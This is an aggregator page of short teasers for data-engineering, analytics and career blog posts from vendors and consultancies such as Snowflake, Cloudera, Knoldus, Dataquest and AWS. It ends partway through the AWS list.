The post 11 Predictions Data Experts Have for the Year Ahead appeared first on Snowflake.

1 week, 2 days назад @ snowflake.com
Manufacturing Data Ingestion into Snowflake
Manufacturing Data Ingestion into Snowflake

Accessing data from the manufacturing shop floor is one of the key topics of interest with the majority of cloud platform vendors due to the pace of Industry 4.0 adoption. Industry 4.0, also known as the Fourth Industrial Revolution, refers to the emerging trend of technological transformation in manufacturing and related industries. It involves the […]

The post Manufacturing Data Ingestion into Snowflake appeared first on Snowflake.

1 week, 2 days назад @ snowflake.com
Data Integration & Modeling: The Unsung Heroes of the Marketing Data Stack?
Data Integration & Modeling: The Unsung Heroes of the Marketing Data Stack?

Marketing data integration is the process of combining marketing data from different sources to create a unified and consistent view. If you’re running marketing campaigns on multiple platforms—Facebook, Instagram, TikTok, email—you need marketing data integration. Why? Because being able to assimilate data from different channels and across multiple marketing touchpoints gives you visibility into the […]

The post Data Integration & Modeling: The Unsung Heroes of the Marketing Data Stack? appeared first on Snowflake.

1 week, 5 days назад @ snowflake.com
Driving Data, Delivering Value: Data Leaders to Watch in 2023
Driving Data, Delivering Value: Data Leaders to Watch in 2023

The Chief Data Officer is arguably one of the most important roles at a company, particularly those that aspire to be data-driven. CDO appointments and the elevation of data leaders have accelerated in recent years, and the role has morphed as perceptions of data have evolved. Responsibilities span strategy and execution, people and processes, and […]

The post Driving Data, Delivering Value: Data Leaders to Watch in 2023 appeared first on Snowflake.

2 weeks, 2 days назад @ snowflake.com
Leveraging Snowflake to Enable Genomic Analytics at Scale
Leveraging Snowflake to Enable Genomic Analytics at Scale

Genomic data, which is the DNA data of organisms, is essential to life sciences companies. For population studies, anonymized data sets can link long-term health histories with treatment patterns and genomic variations, making it possible to analyze effective approaches for subpopulations. In clinical trials and drug discovery, pharmaceutical research that combines patient health data, drug […]

The post Leveraging Snowflake to Enable Genomic Analytics at Scale appeared first on Snowflake.

2 weeks, 3 days назад @ snowflake.com
New Snowflake Features Released in December 2022
New Snowflake Features Released in December 2022

In the final month of 2022, Snowflake rolled out new security capabilities, a native VSCode extension, as well as new Snowflake Marketplace providers across different categories. Security Database roles now in public preview Database roles are a new Snowflake object type within a database. Privileges on securable objects within the same database can be assigned […]

The post New Snowflake Features Released in December 2022 appeared first on Snowflake.

2 weeks, 4 days назад @ snowflake.com
The Modern Marketing Data Stack and What It Means for Analytics
The Modern Marketing Data Stack and What It Means for Analytics

Nearly 60% of CMOs report increased pressure from their CEOs to prove the impact of their marketing spend (Deloitte, CMO Survey 2021). Yet more than half of them also report that they are not thrilled with their marketing analytics. The modern marketing data stack is coming of age, taking its place alongside traditional MarTech to […]

The post The Modern Marketing Data Stack and What It Means for Analytics appeared first on Snowflake.

2 weeks, 4 days назад @ snowflake.com
Cloud Migration Can Take Different Paths: Map The Right Journey For You
Cloud Migration Can Take Different Paths: Map The Right Journey For You

Metadata:

(SEO Team to complete)

Title: Cloud Migration Can Take Different Paths: Map Your Journey

Description: In today’s blog post, we explore different perspectives and paths when it comes to migrating from legacy systems to the Data Cloud. The post Cloud Migration Can Take Different Paths: Map The Right Journey For You appeared first on Snowflake.

2 weeks, 5 days назад @ snowflake.com
Snowflake’s Vision for Easier Analysis of Unstructured Data Starts with Document Intelligence
Snowflake’s Vision for Easier Analysis of Unstructured Data Starts with Document Intelligence

Last year, Snowflake announced an intent to acquire Applica, a company focused on machine learning (ML) solutions for understanding documents. We are working full steam ahead on integrating Applica’s technology with Snowflake. But what does that mean for you? In this blog post, I’ll describe how you can get value from unstructured data, how we’re […]

The post Snowflake’s Vision for Easier Analysis of Unstructured Data Starts with Document Intelligence appeared first on Snowflake.

3 weeks, 3 days назад @ snowflake.com
How Retailers Drive Revenue Through Data Monetization with the Snowflake Retail Data Cloud
How Retailers Drive Revenue Through Data Monetization with the Snowflake Retail Data Cloud

Data monetization: It’s the holy grail of revenue growth today. The global market for data monetization, which was estimated to be at $1.6 billion in 2020, is projected to reach $4.1 billion by 2026. Retailers have troves of data in their customer databases and from their loyalty programs. This data, when shared securely and in […]

The post How Retailers Drive Revenue Through Data Monetization with the Snowflake Retail Data Cloud appeared first on Snowflake.

3 weeks, 5 days назад @ snowflake.com
Cloudera Cloudera
последний пост 1 month, 2 weeks назад
Optimizing the Energy Sector with Data Analytics
Optimizing the Energy Sector with Data Analytics

The move toward renewable energy has a distinct and significant impact on energy generation and distribution that needs to be carefully managed. Efficient use of data will therefore be critical to improving the competitiveness and productivity of assets, both traditional and renewable generation.

The post Optimizing the Energy Sector with Data Analytics appeared first on Cloudera Blog.

1 month, 2 weeks назад @ blog.cloudera.com
Cloudera Named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems (DBMS)
Cloudera Named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems (DBMS)

We are pleased to announce that Cloudera has been named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems. Cloudera has been recognized in this cloud DBMS report since its inception in 2020. This year we’ve been named a Leader. This validates our significant momentum in global enterprises. And together, with […]

The post Cloudera Named a Leader in the 2022 Gartner® Magic Quadrant™ for Cloud Database Management Systems (DBMS) appeared first on Cloudera Blog.

1 month, 2 weeks назад @ blog.cloudera.com
Implement a Multi-Cloud Open Lakehouse with Apache Iceberg in Cloudera Data Platform
Implement a Multi-Cloud Open Lakehouse with Apache Iceberg in Cloudera Data Platform

Since we announced the general availability of Apache Iceberg in Cloudera Data Platform (CDP), Cloudera customers, such as Teranet, have built open lakehouses to future-proof their data platforms for all their analytical workloads. Cloudera partners are also benefiting from Apache Iceberg in CDP. For example, Modak Nabu is helping their enterprise customers accelerate data ingestion, […]

The post Implement a Multi-Cloud Open Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

1 month, 3 weeks назад @ blog.cloudera.com
Enriching Streams with Hive tables via Flink SQL
Enriching Streams with Hive tables via Flink SQL

Introduction Stream processing is about creating business value by applying logic to your data while it is in motion. Many times that involves combining data sources to enrich a data stream. Flink SQL does this and directs the results of whatever functions you apply to the data into a sink. Business use cases, such as […]

The post Enriching Streams with Hive tables via Flink SQL appeared first on Cloudera Blog.

2 months, 2 weeks назад @ blog.cloudera.com
Cloudera’s Open Data Lakehouse Supercharged with dbt Core(tm)
Cloudera’s Open Data Lakehouse Supercharged with dbt Core(tm)

Innovation Accelerator Spotlight: Data teams can collaborate to streamline data transformation and analytics pipelines in the open data lakehouse using any engine, and in any form factor to produce high quality data that your business can trust.

The post Cloudera’s Open Data Lakehouse Supercharged with dbt Core(tm) appeared first on Cloudera Blog.

4 months назад @ blog.cloudera.com
The Modern Data Lakehouse: An Architectural Innovation
The Modern Data Lakehouse: An Architectural Innovation

The promise of a modern data lakehouse architecture Imagine having self-service access to all business data, anywhere it may be, and being able to explore it all at once. Imagine quickly answering burning business questions nearly instantly, without waiting for data to be found, shared, and ingested. Imagine independently discovering rich new business insights from […]

The post The Modern Data Lakehouse: An Architectural Innovation appeared first on Cloudera Blog.

4 months, 4 weeks назад @ blog.cloudera.com
Building Custom Runtimes with Editors in Cloudera Machine Learning
Building Custom Runtimes with Editors in Cloudera Machine Learning

Cloudera Machine Learning (CML) is a cloud-native and hybrid-friendly machine learning platform. It unifies self-service data science and data engineering in a single, portable service as part of an enterprise data cloud for multi-function analytics on data anywhere. CML empowers organizations to build and deploy machine learning and AI capabilities for business at scale, efficiently […]

The post Building Custom Runtimes with Editors in Cloudera Machine Learning appeared first on Cloudera Blog.

5 months, 2 weeks назад @ blog.cloudera.com
How to Use Apache Iceberg in CDP’s Open Lakehouse
How to Use Apache Iceberg in CDP’s Open Lakehouse

In June 2022, Cloudera announced the general availability of Apache Iceberg in the Cloudera Data Platform (CDP). Iceberg is a 100% open-table format, developed through the Apache Software Foundation, which helps users avoid vendor lock-in and implement an open lakehouse. The general availability covers Iceberg running within some of the key data services in CDP, […]

The post How to Use Apache Iceberg in CDP’s Open Lakehouse appeared first on Cloudera Blog.

6 months назад @ blog.cloudera.com
Applying Fine Grained Security to Apache Spark
Applying Fine Grained Security to Apache Spark

Fine grained access control (FGAC) with Spark Apache Spark with its rich data APIs has been the processing engine of choice in a wide range of applications from data engineering to machine learning, but its security integration has been a pain point. Many enterprise customers need finer granularity of control, in particular at the column […]

The post Applying Fine Grained Security to Apache Spark appeared first on Cloudera Blog.

6 months назад @ blog.cloudera.com
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform

Cloudera Technology Spotlight

The post Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

7 months, 1 week назад @ blog.cloudera.com
The Future of the Data Lakehouse – Open
The Future of the Data Lakehouse – Open

Cloudera customers run some of the biggest data lakes on earth. These lakes power mission critical large scale data analytics, business intelligence (BI), and machine learning use cases, including enterprise data warehouses. In recent years, the term “data lakehouse” was coined to describe this architectural pattern of tabular analytics over data in the data lake. […]

The post The Future of the Data Lakehouse – Open appeared first on Cloudera Blog.

7 months, 3 weeks назад @ blog.cloudera.com
Optimizing Hive on Tez Performance
Optimizing Hive on Tez Performance

A guide to tune and troubleshoot performance of the Hive on Tez after upgrading to CDP

The post Optimizing Hive on Tez Performance appeared first on Cloudera Blog.

9 months назад @ blog.cloudera.com
From the Ground Up: The Truth About Data Innovation
From the Ground Up: The Truth About Data Innovation

Data holds incredible untapped potential for Australian organisations across industries, regardless of individual business goals, and all organisations are at different points in their data transformation journey with some achieving success faster than others. To be successful, the use of data insights must become a central lifeforce throughout an organisation and not just reside within […]

The post From the Ground Up: The Truth About Data Innovation appeared first on Cloudera Blog.

9 months, 3 weeks назад @ blog.cloudera.com
Smart Data
последний пост 3 days, 12 hours назад
Here’s How Data Analytics In Sports Is Changing The Game
Here’s How Data Analytics In Sports Is Changing The Game

Any sports player or fan should be aware that data analysis has become a significant part of sports. As individuals and teams seek to gain an advantage over the opposition, analyzing data and using the results to shape your performance is one of the best ways to get ahead. Whether you are an English Premier […]

3 days, 12 hours назад @ smartdatacollective.com
Advances in Data Analytics Are Rapidly Transforming Nursing
Advances in Data Analytics Are Rapidly Transforming Nursing

Big data technology is driving major changes in the healthcare profession. In particular, big data is changing the state of nursing. Nursing professionals will need to appreciate the importance of big data and know how to use it effectively. Keep reading to learn more. The Growing Relevance of Big Data in the Nursing Profession Healthcare […]

3 days, 13 hours назад @ smartdatacollective.com
Data Analytics Technology Proves Benefits of an MBA
Data Analytics Technology Proves Benefits of an MBA

We have talked about ways that big data can help grow your business. But big data can also help demonstrate the importance of pursuing a degree in business as well. Data analytics technology is constantly shedding new insights into our lives. Many things are well observed through anecdotal experiences, but we have had a hard […]

3 days, 13 hours назад @ smartdatacollective.com
5 Proven Tips for Utilizing AI with PPC Advertising in 2023
5 Proven Tips for Utilizing AI with PPC Advertising in 2023

Every year, we hear new stories about how artificial intelligence technology is becoming more integral to the marketing profession. In 2022, one of the biggest breakthroughs ever was the emergence of AI art. However, there are other benefits of AI in marketing that get less publicity. One of them is the use of AI in […]

5 days, 13 hours назад @ smartdatacollective.com
Data Analytics Helps Marketers Substantially Boost Image SEO
Data Analytics Helps Marketers Substantially Boost Image SEO

Data analytics technology has become a very important element of modern marketing. One of the ways that big data is transforming marketing is through SEO. We have previously talked about data-driven SEO. However, we feel that it is time to have a more nuanced discussion about using big data in SEO. You may want to […]

5 days, 16 hours назад @ smartdatacollective.com
5 Ways AI Technology Has Disrupted Website Development
5 Ways AI Technology Has Disrupted Website Development

AI technology has significantly disrupted the world of business. According to a survey by IBM, 35% of companies report using AI. But what are the best ways to leverage artificial intelligence? One of the most important is to use AI to improve the quality of your websites. A growing number of companies are using AI […]

5 days, 16 hours назад @ smartdatacollective.com
5 Benefits of Analytics to Manage Commercial Construction
5 Benefits of Analytics to Manage Commercial Construction

Analytics technology is changing the state of many different industries. The construction sector is no exception. Construction companies are projected to spend nearly $19.7 billion on analytics technology by 2027. While a growing number of construction companies are starting to appreciate the importance of analytics technology, some are still unaware of the benefits. Construction companies […]

1 week, 3 days назад @ smartdatacollective.com
Fortifying Enterprise Digital Security Against Hackers Weaponizing AI
Fortifying Enterprise Digital Security Against Hackers Weaponizing AI

The biggest threat to digital security is weaponized artificial intelligence (AI), which is ubiquitous and damaging. AI is neither good nor bad, but the people behind it can distinguish between AI being an asset or a threat. Cyber-attacks have grown in frequency and sophistication and have become more difficult to detect and stop. The profitability […]

1 week, 3 days назад @ smartdatacollective.com
10 Ways How Artificial Intelligence Is Changing the Content Writing Landscape
10 Ways How Artificial Intelligence Is Changing the Content Writing Landscape

Artificial Intelligence (AI) is revolutionizing the way content is created and distributed. It has become an increasingly integral part of the content writing landscape, allowing writers to create more accurate, relevant, and engaging content in less time than ever before. In this article, we’ll explore how artificial intelligence is changing the content writing landscape. Here […]

The post 10 Ways How Artificial Intelligence Is Changing the Content Writing Landscape appeared first on SmartData Collective.

3 weeks, 3 days назад @ smartdatacollective.com
How IoT Can Be Connected to Business Intelligence
How IoT Can Be Connected to Business Intelligence

IoT solutions as well as Business Intelligence tools are widely used by companies all over the world to improve their processes. But what if we combine these technologies? Will it make sense? There can’t be other answers apart from “Yes”. In this article, we offer you to have a look at how it can be […]

The post How IoT Can Be Connected to Business Intelligence appeared first on SmartData Collective.

3 weeks, 4 days назад @ smartdatacollective.com
Fascinating Changes Data Analytics Brings to Finance
Fascinating Changes Data Analytics Brings to Finance

Data analytics technology has led to a number of impressive changes in the financial industry. A growing number of financial professionals are investing in data analytics technology to provide better service to their customers. The market for financial data in the United States alone is projected to be worth over $20.8 billion by the end […]

3 weeks, 4 days назад @ smartdatacollective.com
Use this Strategic Approach to Maximize Your Data’s Value
Use this Strategic Approach to Maximize Your Data’s Value

In today’s world, data is more widely available to businesses than ever before. Whether it’s data about customer demographics, product colors that tend to sell better, or which cold email scripts are the most effective, organizations have the power to utilize data to help them inform their decision-making process in a variety of ways. However, […]

3 weeks, 5 days назад @ smartdatacollective.com
Amazing AI-based Image Upscaler From VanceAI
Amazing AI-based Image Upscaler From VanceAI

We previously stated that AI is changing the state of graphic design. A growing number of new startups use AI technology to create excellent graphics. Of course, the biggest story of 2022 was that AI-generated art was making major headway. However, AI can be even more important for more mundane graphic design tasks. What should […]

The post Amazing AI-based Image Upscaler From VanceAI appeared first on SmartData Collective.

1 month назад @ smartdatacollective.com
Actionable Tips To Set Up an AI Tech Venture Abroad
Actionable Tips To Set Up an AI Tech Venture Abroad

AI technology is becoming more important than ever. According to CompTIA, 91.5% of top businesses use AI technology on a regular basis. A growing number of AI startups are offering original solutions to help other organizations and consumers. You can improve the likelihood that your AI startup will succeed by setting your company up abroad […]

The post Actionable Tips To Set Up an AI Tech Venture Abroad appeared first on SmartData Collective.

1 month назад @ smartdatacollective.com
6 Tips for Using Data Analytics for Product Page SEO
6 Tips for Using Data Analytics for Product Page SEO

Data analytics technology is becoming more important for marketing than ever before. Companies are projected to spend over $27 billion on marketing analytics by 2031. One of the many ways that marketers are leveraging data analytics is SEO. Data-driven SEO can be very beneficial for any company trying to boost organic search traffic to their […]

1 month назад @ smartdatacollective.com
Knoldus
последний пост 4 days, 15 hours назад
Google Cloud Platform: Migrating Data to New Schemas on Big Query Using Dataflow
Google Cloud Platform: Migrating Data to New Schemas on Big Query Using Dataflow

Reading Time: 6 minutes Migrating data on Google Cloud BigQuery may seem like a straightforward task, until you run into having to match old data to tables with different schemas and data types. There are many approaches you can take to moving data, perhaps using SQL commands to transform the data to be compatible with the new schema. However, SQL has limitations as a programming language, being a query-centric Continue Reading

The post Google Cloud Platform: Migrating Data to New Schemas on Big Query Using Dataflow appeared first on Knoldus Blogs.

4 days, 15 hours назад @ blog.knoldus.com
What is MLOps?
What is MLOps?

Reading Time: 4 minutes In this blog, we will try to see what is MLOps (Machine Learning Operations) and how it is related/different from traditional software development operations or what we call DevOps. We will see why it is important to talk about it and lastly where it is not really a necessity. What is MLOps? Machine Learning Operations (MLOps) is a set of core activities of machine learning Continue Reading

The post What is MLOps? appeared first on Knoldus Blogs.

5 days, 17 hours назад @ blog.knoldus.com
How to build and push a docker image in ACR using the ADO pipeline
How to build and push a docker image in ACR using the ADO pipeline

Reading Time: 3 minutes What is ACR? ACR is known as Azure Container Registry. It is a cloud-based service for managing private registries on Docker Registry. We can use it to create and maintain Docker container registries in the Azure cloud and manage to store Docker images and artifacts privately. These are the following steps to build and push the docker image to ACR using ADO: Step1. Firstly you Continue Reading

The post How to build and push a docker image in ACR using the ADO pipeline appeared first on Knoldus Blogs.

1 week, 2 days назад @ blog.knoldus.com
How to create Agile Release Plan
How to create Agile Release Plan

Reading Time: 5 minutes The agile release plan helps in align the teams by managing multiple phases that can pitch into a creative and innovative problem- working. Your agile release plan will eventually display what you can anticipate out of each sprint and insure your pains are ray- concentrated. What is Agile Release Plan? Agile release planning is a procedure that enables development teams and product holders to read the compass of their systems for optimizing coffers and people. It helps in bettering the quality of work committed, minimizing loss, and perfecting success rates. Agile release planning is a product Continue Reading

The post How to create Agile Release Plan appeared first …

1 week, 3 days назад @ blog.knoldus.com
How advanced is data analytics transforming the retail industry?
How advanced is data analytics transforming the retail industry?

Reading Time: 3 minutes Traditional brick-and-mortar retailers have been radically overhauled by data analytics, which has swept the industry off its feet. To assess consumer needs, enhance supply chain administration, and boost profit; it has introduced a new perspective. Additionally, it aims to optimize revenues by maximizing brand strategy, discount coupons, and ensuring that excess inventory loss is kept to a bare minimum. Furthermore, data analytics aids in evaluating Continue Reading

The post How advanced is data analytics transforming the retail industry? appeared first on Knoldus Blogs.

1 week, 5 days назад @ blog.knoldus.com
Know how Computer Vision and Augmented Reality overlap each other?
Know how Computer Vision and Augmented Reality overlap each other?

Reading Time: 2 minutes To understand the overlapping of Computer Vision and Augmented Reality, Let’s understand what is computer vision, augumented reality and virtual reality. Computer Vision Augmented Reality Virtual Reality A direct comparison of Augmented Reality and Virtual Reality Application of Augmented Reality and Computer Vision Augmented Reality and Computer Vision in Autonomous Cars Security Monitoring with Augmented Vision and Computer Vision Augmented Reality and Computer Vision in Continue Reading

The post Know how Computer Vision and Augmented Reality overlap each other? appeared first on Knoldus Blogs.

2 weeks, 3 days назад @ blog.knoldus.com
Build easy conversational AI – GCP Dialogflow
Build easy conversational AI – GCP Dialogflow

Reading Time: 3 minutes Dialogflow is a GCP framework that enables users to develop easy human-computer interaction technologies that can support Natural Language Processing (NLP). Basically, Dialogflow handles the job of translating natural language to machine-readable data using machine-learning models trained by your examples. Why use GCP Dialogflow A few reasons to use Dialogflow are – Building Blocks of GCP Dialogflow AGENTS The agent is basically your entire chatbot Continue Reading

The post Build easy conversational AI – GCP Dialogflow appeared first on Knoldus Blogs.

2 weeks, 3 days назад @ blog.knoldus.com
How to check vulnerability in IaC using Snyk
How to check vulnerability in IaC using Snyk

Reading Time: 2 minutes What is Snyk? Snyk (pronounced sneak) is a platform to secure your source code, Containers, and IaC, It scans your code and tells what vulnerabilities are in your code. We can Integrate Snyk in different IDEs to check your code. In another word, we can say it is Grammarly for your code. Steps to Scan your IaC Prerequisite If you don’t have Snyk you can go Continue Reading

The post How to check vulnerability in IaC using Snyk appeared first on Knoldus Blogs.

2 weeks, 5 days назад @ blog.knoldus.com
How to add an Agent in the Azure DevOps Pipeline
How to add an Agent in the Azure DevOps Pipeline

Reading Time: 3 minutes What is Agent? An agent is a service that runs the jobs of your pipeline in other words we can say it is a computing infrastructure (maybe any VM or local machine) with installed agent software to run the pipeline jobs. When you build and deploy code using ADO Pipelines you need at least one agent. There are two types of Agent in ADO Here Continue Reading

The post How to add an Agent in the Azure DevOps Pipeline appeared first on Knoldus Blogs.

2 weeks, 5 days назад @ blog.knoldus.com
How to send Github commits and PR logs to ElasticSearch using a custom script
How to send Github commits and PR logs to ElasticSearch using a custom script

Reading Time: 6 minutes Hello Readers!! In this blog, we will see how we can send GitHub commits and PR logs to Elasticsearch using a custom script. Here we will use a bash script that will send GitHub logs to elasticsearch. It will create an index in elasticsearch and push there the logs. After sending logs to elasticsearch we can visualize the following github events in kibana:- 1. GitHub Continue Reading

The post How to send Github commits and PR logs to ElasticSearch using a custom script appeared first on Knoldus Blogs.

3 weeks, 4 days назад @ blog.knoldus.com
Getting Started with Snyk
Getting Started with Snyk

Reading Time: 2 minutes Snyk is a platform that scans, fixes security, vulnerabilities and prioritize your code, open source dependencies, container images and Infrastructure as a Code (IaC). In basic terms, it works as a scanning tool (like an antivirus) which helps you to prevent your code from unwanted vulnerabilities. Snyk is a Boston-based cybersecurity company specializing in cloud computing and founded in 2015. It integrates the open source code that Continue Reading

The post Getting Started with Snyk appeared first on Knoldus Blogs.

3 weeks, 5 days назад @ blog.knoldus.com
Loading and Indexing Data in MarkLogic
Loading and Indexing Data in MarkLogic

Reading Time: 3 minutes With MarkLogic being a document-oriented database, data is commonly stored in a JSON or XML document format. If the data to bring into the MarkLogic is not already structured in JSON or XML means if it is currently in a relational database, there are various ways to export or transform it from the source. For example, many relational databases provide an option to export relational Continue Reading

The post Loading and Indexing Data in MarkLogic appeared first on Knoldus Blogs.

3 weeks, 6 days назад @ blog.knoldus.com
How to Write CRUD Operations with MarkLogic Database.
How to Write CRUD Operations with MarkLogic Database.

Reading Time: 4 minutes If you’re looking to store and manage data efficiently and effectively, then MarkLogic Database is an excellent choice. It allows you to easily write CRUD operations (Create, Read, Update, Delete) within the database in order to keep your data organized and secure. In this article we’ll discuss how you can write CRUD operations with MarkLogic Database so that you make the most of your data Continue Reading

The post How to Write CRUD Operations with MarkLogic Database. appeared first on Knoldus Blogs.

3 weeks, 6 days назад @ blog.knoldus.com
Marklogic Server Architecture
Marklogic Server Architecture

Reading Time: 4 minutes Introduction Data is the new oil. And hence managing data is of utmost importance for any enterprise. With the huge amount of data that is generated for a market now and to provide superior performance over them, NoSQL databases are now ruling the tech industry. Within the numerous NoSQL databases in the market, this emerging one is catching the attention of numerous techies and businesses. Continue Reading

The post Marklogic Server Architecture appeared first on Knoldus Blogs.

1 month назад @ blog.knoldus.com
Optimistic vs. Pessimistic locking
Optimistic vs. Pessimistic locking

Reading Time: 2 minutes We store the information in databases so that it can be utilized later for different purposes like reading or updating. While we perform these operations on a record in a database there are good chances of conflicts or collisions. There can be two ways of dealing with such situations: Let’s try to understand these two options with an example. We will use the famous problem Continue Reading

The post Optimistic vs. Pessimistic locking appeared first on Knoldus Blogs.

1 month назад @ blog.knoldus.com
We Cloud Data We Cloud Data
последний пост None
Learn Data Engineering Learn Data Engineering
последний пост None
SCRIBD
последний пост 6 months, 2 weeks назад
Data and AI Summit Wrap-up
Data and AI Summit Wrap-up Data and AI Summit Wrap-up

We brought a whole team to San Francisco to present and attend this year’s Data and

AI Summit, and it was a blast! I

would consider the event a success both in the attendance to the Scribd hosted

talks and the number of talks which discussed patterns we have adopted in our

own data and ML platform.

The three talks I wrote about

previously were well received and have

since been posted to YouTube along with hundreds of other talks. Christian Williams shared some of the

work he has done developing

kafka-delta-ingest in his talk: QP Hou, Scribd Emeritus, presented on

his foundational work to ensure correctness within delta-rs during his session: R Tyler Croy co-presented with Gavin

Edgley from …

6 months, 2 weeks назад @ tech.scribd.com
Accelerating Looker with Databricks SQL Serverless
Accelerating Looker with Databricks SQL Serverless

We recently migrated Looker to a Databricks SQL Serverless, improving our

infrastructure cost and reducing the footprint of infrastructure we need to

worry about! “Databricks SQL” which provides a single load balanced Endpoint

for executing Spark SQL queries across multiple Spark clusters behind the

scenes. “Serverless” is an evolution of that concept, rather than running a SQL

Endpoint in our AWS infrastructure, the entirety of execution happens on the

Databricks side. With a much simpler and faster interface, queries executed in

Looker now return results much faster to our users than ever before!

When we originally provisioned our “Databricks SQL” endpoints, we worked

together with our co…

7 months, 1 week назад @ tech.scribd.com
Scribd is presenting at Data and AI Summit 2022
Scribd is presenting at Data and AI Summit 2022

We are very excited to be presenting and attending this year’s Data and AI

Summit which will be

hosted virtually and physically in San Francisco from June 27th-30th.

Throughout the course of 2021 we completed a number of really interesting

projects built around delta-rs and the

Databricks platform which we are thrilled to share with a broader audience.

In addition to the presentations listed below, a number of Scribd engineers who

are responsible for data and ML platform, machine learning systems, and more,

will be in attendance if you want to meet up and learn more about how Scribd

uses data and ML to change the way the world reads! Christian Williams will be sharing some of the

work he ha…

9 months, 1 week назад @ tech.scribd.com
Data Quest
последний пост 1 month назад
Business Analyst Salaries in the US (January 2023)
Business Analyst Salaries in the US (January 2023)

The business analyst is an in-demand data science job with a highly competitive salary range. Here are the numbers for 2023. The job market is having a moment right now, and many people are considering a job switch. Enter the business analyst . . . Business analysts are trained data specialists with database and business […]

1 month назад @ dataquest.io
Why Learn SQL in 2023 (Analyzing 72,000 Job Listings)
Why Learn SQL in 2023 (Analyzing 72,000 Job Listings)

Learning SQL might not be as "sexy" as learning Python or R, but it's a fundamental skill for almost every data scientist and data analyst job. Here's why.

1 month назад @ dataquest.io
11 High-Paying Data Analytics Careers (January 2023)
11 High-Paying Data Analytics Careers (January 2023)

Thinking about kickstarting a career in data analytics? These 10 high-paying jobs may just be the motivation you need to learn more about the data science industry and gain the specific skills you need to succeed.

1 month назад @ dataquest.io
How to Become a Data Scientist in 2023 (An Actionable Guide)
How to Become a Data Scientist in 2023 (An Actionable Guide)

If you want to know how to become a data scientist, then you’re in the right place. I’ve been where you are, and now I want to help. A decade ago, I was just a college graduate with a history degree. I then became a machine learning engineer, data science consultant, and now CEO of […]

1 month, 1 week назад @ dataquest.io
SQL Certifications in 2023? (We Asked 15 Hiring Managers)
SQL Certifications in 2023? (We Asked 15 Hiring Managers)

Will getting a SQL certification actually help you get a data job? The answer to this question can be confusing, since there’s a lot of conflicting information out there. But don’t worry, we’ve got you covered. In this article, we’ll dispel some of the myths regarding SQL certification, shed light on how hiring managers view […]

1 month, 2 weeks назад @ dataquest.io
Data Science Certificates in 2023? (15 Recruiters Tell All)
Data Science Certificates in 2023? (15 Recruiters Tell All)

What certificate should I get for data science? We interviewed data science recruiters about job applications and none of them cared about certificates.

1 month, 2 weeks назад @ dataquest.io
15 Hiring Managers Reveal If Python Certifications Are Worth It
15 Hiring Managers Reveal If Python Certifications Are Worth It

What’s the best Python certificate to get? Python certifications can cost up to thousands of dollars. Are they worth your time?

1 month, 2 weeks назад @ dataquest.io
How to Become a Data Analyst (Step-By-Step) in 2023
How to Become a Data Analyst (Step-By-Step) in 2023

Since data is such an essential aspect of business intelligence, data analysts are very much in demand — and this trend is only increasing! The job is key for many types of projects, such as analyzing market trends or collecting data for political polls. If you want to learn to become a data analyst, you’re […]

2 months, 3 weeks назад @ dataquest.io
The Perfect Data Science Resume in 2023 (an 8-Step Guide)
The Perfect Data Science Resume in 2023 (an 8-Step Guide)

How can you get a data science job? It all starts with a great resume: one that frames your data analysis and data science projects in the right way.

4 months, 1 week назад @ dataquest.io
20 Interview Questions and Answers for Business Analysts (2023)
20 Interview Questions and Answers for Business Analysts (2023)

In this article, we’re sharing the 20 most common business analyst interview questions and answers that you could encounter during a job interview. Being ready for these questions can not only help you prepare for and feel more comfortable in an interview for a business analyst role, it can also identify the gaps you may […]

4 months, 2 weeks назад @ dataquest.io
Infrastructure
AWS
последний пост 1 day, 16 hours назад
Enable Kerberos authentication with Amazon RDS Custom for Oracle – Part 2
Enable Kerberos authentication with Amazon RDS Custom for Oracle – Part 2

In the first post of this series, Enable Kerberos authentication with Amazon RDS Custom for Oracle – Part 1, we showed you how to implement Kerberos authentication with Amazon RDS Custom for Oracle to centralize the storage and management of credentials across multiple databases and improve your organization’s overall security profile. In this post, we […]

1 day, 16 hours назад @ aws.amazon.com
Migrate your Azure Cosmos DB SQL API to Amazon DocumentDB (with MongoDB compatibility) using native tools and automation
Migrate your Azure Cosmos DB SQL API to Amazon DocumentDB (with MongoDB compatibility) using native tools and automation

While migrating workloads from the Azure Cloud to the AWS Cloud, organizations explore optimal, managed database services to replace their Cosmos DB databases. As NoSQL databases become more ubiquitous, especially those that support the Apache 2.0 open-source MongoDB APIs, our customers often choose Amazon DocumentDB because it’s a scalable, highly durable, and fully managed database […]

1 day, 16 hours назад @ aws.amazon.com
Predict football punt and kickoff return yards with fat-tailed distribution using GluonTS
Predict football punt and kickoff return yards with fat-tailed distribution using GluonTS

Today, the NFL is continuing their journey to increase the number of statistics provided by the Next Gen Stats Platform to all 32 teams and fans alike. With advanced analytics derived from machine learning (ML), the NFL is creating new ways to quantify football, and to provide fans with the tools needed to increase their […]

2 days, 12 hours назад @ aws.amazon.com
Analyze and visualize multi-camera events using Amazon SageMaker Studio Lab
Analyze and visualize multi-camera events using Amazon SageMaker Studio Lab

The National Football League (NFL) is one of the most popular sports leagues in the United States and is the most valuable sports league in the world. The NFL, BioCore, and AWS are committed to advancing human understanding around the diagnosis, prevention, and treatment of sports-related injuries to make the game of football safer. More […]

2 days, 12 hours назад @ aws.amazon.com
Analyze Amazon S3 storage costs using AWS Cost and Usage Reports, Amazon S3 Inventory, and Amazon Athena
Analyze Amazon S3 storage costs using AWS Cost and Usage Reports, Amazon S3 Inventory, and Amazon Athena

Since its launch in 2006, Amazon Simple Storage Service (Amazon S3) has experienced major growth, supporting multiple use cases such as hosting websites, creating data lakes, serving as object storage for consumer applications, storing logs, and archiving data. As the application portfolio grows, customers tend to store data from multiple application and different business functions […]

2 days, 12 hours назад @ aws.amazon.com
Accelerate your multi-region strategy with Amazon DynamoDB: Part 1
Accelerate your multi-region strategy with Amazon DynamoDB: Part 1

When you decide to run applications across multiple geographic regions, there are many questions you need to answer. First, what are the business drivers? Resiliency? It might turn out that your application requirements for resiliency, such as availability and disaster recovery, can be satisfied within a single AWS Region. If you do need a multi-region […]

2 days, 16 hours назад @ aws.amazon.com
How Amazon Devices scaled and optimized real-time demand and supply forecasts using serverless analytics
